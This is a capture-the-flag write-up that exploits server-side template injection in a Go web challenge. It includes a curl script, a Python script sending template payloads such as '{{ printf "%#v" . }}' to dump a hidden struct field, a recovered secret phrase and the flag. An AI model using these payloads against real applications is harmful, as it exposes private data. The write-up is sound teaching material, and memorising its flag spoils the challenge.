Writeup Aria
C2C Qualification EnglishWeb

The Soldier of God, Rick

alt text

Description

Can you defeat the Soldier of God, Rick?

Overview

This challenge is a Go-based service that provides a /fight endpoint, where users can send a battle_cry input to simulate a battle.

The main vulnerabilities in this challenge are:

  • Server-Side Template Injection (SSTI) in Go templates
  • The template renders internal objects directly without sanitization
  • An attacker can read sensitive fields that should not be exposed, including the flag

Goal: Extract the flag stored in the internal structure of a Go object using SSTI.

Solution Steps

1. Extract Embedded Resources

The provided binary is a Go executable named: rick_soldier

Since Go binaries often use the embed.FS feature to store internal files such as templates, configs, and assets, the first step is to extract the embedded resources from the binary.

To do this, we use the tool: Go-Embed-Extractor

This tool allows us to extract embedded files from a Go binary without performing manual reverse engineering in a disassembler.

git clone https://github.com/dimasma0305/Go-Embed-Extractor
rm -rf Go-Embed-Extractor/.git
cp Go-Embed-Extractor/extract_embed.py .

python3 extract_embed.py rick_soldier

alt text

After extraction, we obtained a .env file containing SECRET_PHRASE.

This secret phrase is used by the /fight endpoint to validate requests.

2. Interact with the /fight Endpoint Using the Discovered Secret

Next, use the discovered secret to access the endpoint.

alt text

After entering the secret:

alt text

This proves that the secret is valid and the endpoint can be accessed.

3. Identify Server-Side Template Injection (SSTI)

I used AI to help analyze the extracted template source code and also to understand the functions from the Ghidra decompilation. From this analysis, it was discovered that the template renders internal objects directly without sanitization, which makes SSTI possible.

The battle_cry input is inserted into the template, so it can be tested using template injection payloads.

Simple test payload:

{{7}}

alt text

Result: 7

alt text

4. Identify Objects Available in the Template

In Go templates, the symbol . represents the root object passed to the template.

We can print the object using:

{{ . }}

I switched from sending payloads via the web interface to using the CLI with the following script:

TARGET=challenges.1pc.tf:<PORT>
SECRET="Morty_Is_The_Real_One"
send_payload() {
    local payload="$1"
    local desc="$2"
    echo -n "Trying payload: $desc ... "
    # Send request with battle_cry containing SSTI payload
    response=$(curl -s -X POST "http://$TARGET/fight" \
        -d "battle_cry=$payload" \
        -d "secret=$SECRET")
    # Extract the "You screamed: ..." part from the HTML response
    result=$(echo "$response" | grep "You screamed:" | sed 's/<[^>]*>//g' | sed 's/You screamed: //g' | xargs)
    if [[ -z "$result" ]]; then
        echo -e "${RED}[FAILED]${NC}"
    else
        echo -e "${GREEN}[SUCCESS]${NC}"
        echo -e "   -> Result: $result"
    fi
}
send_payload "{{ . }}"

alt text

5. Enumerate Template Objects Using a Script

To simplify enumeration, I asked AI to generate a script with useful SSTI payloads to identify fields in the template object and help retrieve the flag.

import requests

TARGET = "http://challenges.1pc.tf:44424/fight"
SECRET_PHRASE = "Morty_Is_The_Real_One"

def send_payload(payload):
    data = {
        "battle_cry": payload,
        "secret": SECRET_PHRASE
    }
    r = requests.post(TARGET, data=data)

    if "You screamed:" in r.text:
        start = r.text.find('<span class="text-white italic">"') + 33
        end = r.text.find('</span>', start)
        result = r.text[start:end].strip('"')
        return result
    return "ERROR"

payloads = [
    '{{ printf "%T" .Secret }}',
    '{{ printf "%#v" .Secret }}',
    '{{ .Flag }}',
    '{{ .flag }}',
    '{{ printf "%+v" . }}',
    '{{ printf "%#v" . }}',
]

for payload in payloads:
    result = send_payload(payload)
    print(f"{payload}{result}")
python3 1.py

alt text

From the enumeration results, the following information was obtained:

  • Determine the type of Secret
{{ printf "%T" .Secret }} → string

This means .Secret is a string.

  • Attempt direct access to the flag field
{{ .flag }} → flag is an unexported field of struct type router.BattleView

This indicates that the flag field exists, but cannot be accessed directly because it is a private field.

  • Enumerate the root object structure
{{ printf "%+v" . }} → BattleView{Rick: Rick, Soldier of God HP:999999, LastMsg: Rick explicitly ignores your Scream. He is simply too powerful.}

This shows that the root object is a struct named BattleView.

  • Exploit: Dump the entire struct using printf %#v
{{ printf "%#v" . }}

Result:

router.BattleView{
  Rick:(*entity.Rick)(0xc00009b260),
  Log:interactor.FightLog{
    Message:"Rick explicitly ignores your Scream...",
    RickHP:999999
  },
  flag:"C2C{R1ck_S0ld13r_0f_G0d_H4s_F4ll3n_v14_SST1_SSR7_03360dd9c368}"
}

Flag

C2C{R1ck_S0ld13r_0f_G0d_H4s_F4ll3n_v14_SST1_SSR7_03360dd9c368}

On this page